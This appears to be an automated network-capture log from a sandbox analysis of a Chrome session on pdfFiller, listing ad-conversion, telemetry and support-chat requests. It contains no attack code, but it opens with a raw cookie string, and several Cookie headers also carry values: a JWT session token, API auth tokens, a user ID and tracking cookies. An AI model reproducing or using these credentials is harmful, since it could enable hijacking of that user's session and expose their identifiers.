airSlate_session_token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiIxIiwiY2xpZW50X3V1aWQiOiIzNDVlYzEwNy04YjI0LTQ5NDUtOGMwZS1kY2ExYjg3MjgzZWUiLCJ1c2VyX3V1aWQiOiIwYmIyM2NmMi02OTRiLTRmMzEtYjc4Ny1hYzllYTE1MjkwOWYiLCJzY2hlbWUiOiJodHRwczovL29hdXRoLmFpcnNsYXRlLmNvbS9zY2hlbWUvZ3Vlc3QvYWNjZXNzLXRva2VuIiwic2NvcGVzIjpbIm9hdXRoOmd1ZXN0Il0sImV4cCI6MTczNDcwODQ1MiwibmJmIjoxNzM0NjIyMDUyLCJpYXQiOjE3MzQ2MjIwNTIsImp0aSI6ImMxYjQzMWRmLTYzZmItNGRhZi1hNTJmLWRlODIwZTQ0MTM5OCJ9.eButAxxG4FjnlgJvexcPu3MQ_Lfojrc2IdX38awlDIYp7Zqnjse9BMWkyegNMpBMVvYHRnWDrlAd_g086ak0wLw_loPcXcvTCsj-XIcgBZKCkWvPP2jQbyBp2kWbOD_ZTcjf1O6ym2p_LchyWZIPkn0lhI0JifO5JiUcYgmrxBmTRPhcVsHk6iIYvf41H6VBvxzz3JOcEHMJF2FWTjevFNnQDb-7k-zXlZGrBAJ6CGD4JiApuj1P5WvSKK-mZw9ICukp2NzwwIrHGEiX03MexGD4DY5Zgi_F7x1tPcn0PpE9cZwe6OO5JBW-EefwOlcbWHukjNaiZgsuFDbKeivzcDK98ftJvm5ObL_7jAiMQODL1pOl3ntB1IoMbSRQfr8DwAoDMhQKI7O_wIcXgYDxJEEIiGSFQamfjvy5uHN2sUkVLo9oPAiynyxhJ9TreaUvjxcZXF4t_sHsKMs30oryfRJSykSonc22c2znS-Pc7onBlnQtpdBBg-KAaqqs4uE3UDEBiCwNxzckV3esbNPHmd6Y1FvLDEaYwSlOcnVmYF_7XOpt-TfAXueHM4q9nx8oB_I45bqbhpeoANMQJ0A2_eivElVemjxCIfzmPLUtXmbB7oIw5P37ypQVgktm0kaLlqB9_g8ArdhwmIcfSgPm9rIQMZU-MWbQ2_d4tZdWcY4; api_auth=%7B%22userId%22%3A2066364496%2C%22token%22%3A%22NLzmrDlMbT18Aq3MMvPUIcNAc%22%7D; user_uuid=0bb23cf2-694b-4f31-b787-ac9ea152909f; bm_mi=96840EE2428ED53FB73043122C1E5414~YAAQ6NYhF/w6SK2TAQAA0wGI3xrGx3PcJ38Ch7wY1UCEliEbxAM8t8B+nO8nlK1UUlsoZHJa/fPrHKKo6jfbmSk2GIY170g87bqKj3EZwfgqPaSUS/vITtdkyFdH3okCXvJcTXohWfto1YJhtxN1cce4DZJIbPMA4XSWbtxOj4+kdqc8WJQZUzUm+1Gc78wN8Z26V7uWNTBDApCGcKj4TBlMrFODc0+LmrPWV6Om3qI+GEFgb4+BY6ysbgMpoXt34KGDxVjKXCdedxAcMu/Mpjcckxe5WLjsijoNmq/7OP8zyl/NxSIe++495Zt6BC+7LxL1tqb8s4W54yeMb3R0fVkOspc=~1; api_js_sdk=2066364496%3ANLzmrDlMbT18Aq3MMvPUIcNAc; api_js=2066364496%3ANLzmrDlMbT18Aq3MMvPUIcNAc; ak_bmsc=D0ED3DB5E7280C727ED09669F69DF10F~000000000000000000000000000000~YAAQ6NYhFxM8SK2TAQAAMRWI3xoH8zlFZP1Y7zh1nC12CL/sDSXgi3wxGAvNFf5z82W9efuyEpYTyaM7r7rdn6ly8K6AakUl4s+0skw4AnKgF/R06TuVJWXiZ7ifJuc6hpiJ0ttnkoiBIZC4TkzV6YNXO0Sx7jx+P8Aoigl0bs1qn9ec/dRZuMkjzS0NjSq22hTnz2PsHiNYBIeGRfamaEGrFXuGIrJ8piQOXfBw7p6sc6wq/H2lwZD0+QBYLBDq5RZi1/EdeBOxnEPsH79K7/yi58sjAIYdTIjHsfmmIDPhqVUcFJMM65TIsK886Ld8+pHhiRhqjUJ9TmANrsPC6FemLEkmi79LSp0gUMXv+wq0w5syZBYRhTQFxDJoxI/dzS3O
Source: global traffic	HTTP traffic detected: GET /td/rul/972636148?random=1734622061570&cv=11&fst=1734622061570&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v890312743z878355092za201zb78355092&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&label=5lebCLn80awBEPT_5M8D&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=31251489.1734622060&uaa=x86&uab=64&uafvl=Chromium%3B128.0.6613.120%7CNot%253BA%253DBrand%3B24.0.0.0%7CGoogle%2520Chrome%3B128.0.6613.120&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&ct_cookie_present=0 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wBSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/pdffiller/chat/get-src HTTP/1.1Host: support-backend.usrsprt.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.pdffiller.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/972636148/?random=1009888212&cv=11&fst=1734622061570&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v890312743z878355092za201zb78355092&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&label=5lebCLn80awBEPT_5M8D&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&value=0&npa=0&pscdl=noapi&auid=31251489.1734622060&uaa=x86&uab=64&uafvl=Chromium%3B128.0.6613.120%7CNot%253BA%253DBrand%3B24.0.0.0%7CGoogle%2520Chrome%3B128.0.6613.120&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgixw7ECCIrFsQIIwsmxAgjrxrECCKPFsQII08WxAiIBATgBQAFKFWV2ZW50LXNvdXJjZSwgdHJpZ2dlcloDCgEBYgQKAgID&eitems=ChAIgKWPuwYQ_Ivq-YrJqPJ0Eh0ATXZP9E0QB1KBclfYBFsiuhy6xxK7JLrdq6daFw&pscrd=CLCB49GbiqmJ0AEiEwiTyrbfkrSKAxVL--MHHcx5BaMyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6Gmh0dHBzOi8vd3d3LnBkZmZpbGxlci5jb20vQldDaEVJZ0tXUHV3WVFqWml1cnYzRnRhdjlBUklzQU1IMTFlTVNhUUV6UFYtd203TnllbjlZZXZXMjNVOW41RFdqZVVfdUhQX1lrSWR1RnJqOURxYllQelE HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wBSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /api/pdffiller/chat/get-src HTTP/1.1Host: support-backend.usrsprt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/972636148/?random=1009888212&cv=11&fst=1734622061570&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v890312743z878355092za201zb78355092&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&label=5lebCLn80awBEPT_5M8D&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&value=0&npa=0&pscdl=noapi&auid=31251489.1734622060&uaa=x86&uab=64&uafvl=Chromium%3B128.0.6613.120%7CNot%253BA%253DBrand%3B24.0.0.0%7CGoogle%2520Chrome%3B128.0.6613.120&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgixw7ECCIrFsQIIwsmxAgjrxrECCKPFsQII08WxAiIBATgBQAFKFWV2ZW50LXNvdXJjZSwgdHJpZ2dlcloDCgEBYgQKAgID&pscrd=CLCB49GbiqmJ0AEiEwiTyrbfkrSKAxVL--MHHcx5BaMyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6Gmh0dHBzOi8vd3d3LnBkZmZpbGxlci5jb20vQldDaEVJZ0tXUHV3WVFqWml1cnYzRnRhdjlBUklzQU1IMTFlTVNhUUV6UFYtd203TnllbjlZZXZXMjNVOW41RFdqZVVfdUhQX1lrSWR1RnJqOURxYllQelE&is_vtc=1&cid=CAQSKQCa7L7dpLWHdczz41BANI18a3Re-v1S6POSFkbM4sB9zXKZmMLsEnrq&eitems=ChAIgKWPuwYQ_Ivq-YrJqPJ0Eh0ATXZP9H8rJJI2_YY13Pik31GZ_kmr9W3aAkrhfA&random=1941903674 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wBSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/972636148/?random=1009888212&cv=11&fst=1734622061570&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v890312743z878355092za201zb78355092&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&label=5lebCLn80awBEPT_5M8D&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&value=0&npa=0&pscdl=noapi&auid=31251489.1734622060&uaa=x86&uab=64&uafvl=Chromium%3B128.0.6613.120%7CNot%253BA%253DBrand%3B24.0.0.0%7CGoogle%2520Chrome%3B128.0.6613.120&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgixw7ECCIrFsQIIwsmxAgjrxrECCKPFsQII08WxAiIBATgBQAFKFWV2ZW50LXNvdXJjZSwgdHJpZ2dlcloDCgEBYgQKAgID&pscrd=CLCB49GbiqmJ0AEiEwiTyrbfkrSKAxVL--MHHcx5BaMyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6Gmh0dHBzOi8vd3d3LnBkZmZpbGxlci5jb20vQldDaEVJZ0tXUHV3WVFqWml1cnYzRnRhdjlBUklzQU1IMTFlTVNhUUV6UFYtd203TnllbjlZZXZXMjNVOW41RFdqZVVfdUhQX1lrSWR1RnJqOURxYllQelE&is_vtc=1&cid=CAQSKQCa7L7dpLWHdczz41BANI18a3Re-v1S6POSFkbM4sB9zXKZmMLsEnrq&eitems=ChAIgKWPuwYQ_Ivq-YrJqPJ0Eh0ATXZP9H8rJJI2_YY13Pik31GZ_kmr9W3aAkrhfA&random=1941903674 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wBSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: NID=517=i4E8sm-BN75bnGkPw4VW8uy51aQ8ounjntfNX2fu8MFJNuIvCX0dRBy-XkHqHwKOVFSSaC2nqfULsnHhY3TzIXHWC90jS3Wi2BINtQIDr1LJvZE4Ud-byTNL9Q04Nd1-ydmJvrWYY5vORspW6soJ1bMj20dq8UvPjgkw2sOvmuTUanqu
Source: global traffic	HTTP traffic detected: GET /active/pdffiller.jsp HTTP/1.1Host: www.upsellit.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/4508088791072768/envelope/?sentry_key=c1dd57b0b03fd991762bee3e1ec2bf4c&sentry_version=7&sentry_client=sentry.javascript.react%2F8.35.0 HTTP/1.1Host: o178032.ingest.us.sentry.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/chat/check?user_id=2066364496&user_name&company_id=1&fp=79bb95f3-eb96-4fe0-84b2-01a58d0e9c0b&chat_id HTTP/1.1Host: api.usrsprt.comConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"Accept: application/jsonsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://www.pdffiller.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/981120876/?random=1734622066158&cv=11&fst=1734622066158&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v9184618771z878355092za201zb78355092&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&ga_uid=G-P4FNBN6SJM.2066364496&npa=0&pscdl=noapi&auid=31251489.1734622060&uaa=x86&uab=64&uafvl=Chromium%3B128.0.6613.120%7CNot%253BA%253DBrand%3B24.0.0.0%7CGoogle%2520Chrome%3B128.0.6613.120&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=dynx_pagetype%3Dofferdetail%3Bdynx_itemid2%3Den%3Bdevice%3Ddesktop%3BsessionLandingPage%3Dwww.pdffiller.com%2Fjsfiller-desk19%2F%3Bads_data_redaction%3Dfalse&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wBSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUm5yKlQJpJ_MrzT7wtNWZX4a_cvHhpCGuqaWrPFpKYPbmksLS4FPIZjbhmN
Source: global traffic	HTTP traffic detected: GET /td/rul/981120876?random=1734622066158&cv=11&fst=1734622066158&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v9184618771z878355092za201zb78355092&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&ga_uid=G-P4FNBN6SJM.2066364496&npa=0&pscdl=noapi&auid=31251489.1734622060&uaa=x86&uab=64&uafvl=Chromium%3B128.0.6613.120%7CNot%253BA%253DBrand%3B24.0.0.0%7CGoogle%2520Chrome%3B128.0.6613.120&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=dynx_pagetype%3Dofferdetail%3Bdynx_itemid2%3Den%3Bdevice%3Ddesktop%3BsessionLandingPage%3Dwww.pdffiller.com%2Fjsfiller-desk19%2F%3Bads_data_redaction%3Dfalse HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wBSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.pdffiller.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUm5yKlQJpJ_MrzT7wtNWZX4a_cvHhpCGuqaWrPFpKYPbmksLS4FPIZjbhmN
Source: global traffic	HTTP traffic detected: GET /active/pdffiller.jsp HTTP/1.1Host: www.upsellit.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/chat/check?user_id=2066364496&user_name&company_id=1&fp=79bb95f3-eb96-4fe0-84b2-01a58d0e9c0b&chat_id HTTP/1.1Host: api.usrsprt.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/981120876/?random=1734622066158&cv=11&fst=1734622066158&bg=ffffff&guid=ON&async=1&gtm=45be4cc1v9184618771z878355092za201zb78355092&gcd=13t3t3t3t5l1&dma=0&tag_exp=101925629~102067555~102067808~102081485~102198178&u_w=1920&u_h=1080&url=https%3A%2F%2Fwww.pdffiller.com%2Fjsfiller-desk19%2F%3Fflat_pdf_quality%3Dhigh%26isShareViaLink%3D1%26requestHash%3Da2c5609ba93c5a066fe0a36d5e28c4f30219bce773a7ef5f77123304be4f67c2%26lang%3Den%26projectId%3D1720458241%26PAGE_REARRANGE_V2_MVP%3Dtrue%26richTextFormatting%3Dtrue%26isPageRearrangeV2MVP%3Dtrue%26jsf-page-rearrange-v2%3Dtrue%26jsf-redesign-full%3Dtrue%26act-notary-pro-integration%3Dtrue%26isSkipEditorLoadFrequency%3Dtrue%26jsf-desktop-ux-for-tablets%3Dfalse%26jsf-probability-70%3Dtrue%26jsf-socket-io%3Dfalse%26jsf-simplified-modes-iteration-1%3Dfalse%26jsf-offline-mode%3Df&hn=www.googleadservices.com&frm=0&tiba=PDFfiller%20-%20Project%20Proposal%20Document%20Q50336.pdf&ga_uid=G-P4FNBN6SJM.2066364496&npa=0&pscdl=noapi&auid=31251489.1734622060&uaa=x86&uab=64&uafvl=Chromium%3B128.0.6613.120%7CNot%253BA%253DBrand%3B24.0.0.0%7CGoogle%2520Chrome%3B128.0.6613.120&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=dynx_pagetype%3Dofferdetail%3Bdynx_itemid2%3Den%3Bdevice%3Ddesktop%3BsessionLandingPage%3Dwww.pdffiller.com%2Fjsfiller-desk19%2F%3Bads_data_redaction%3Dfalse&rfmt=3&fmt=4 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Accept: /X-Client-Data: CI+2yQEIorbJAQipncoBCMD2ygEIkqHLAQic/swBCIWgzQEI1r3OARjBy8wBSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUm5yKlQJpJ_MrzT7wtNWZX4a_cvHhpCGuqaWrPFpKYPbmksLS4FPIZjbhmN
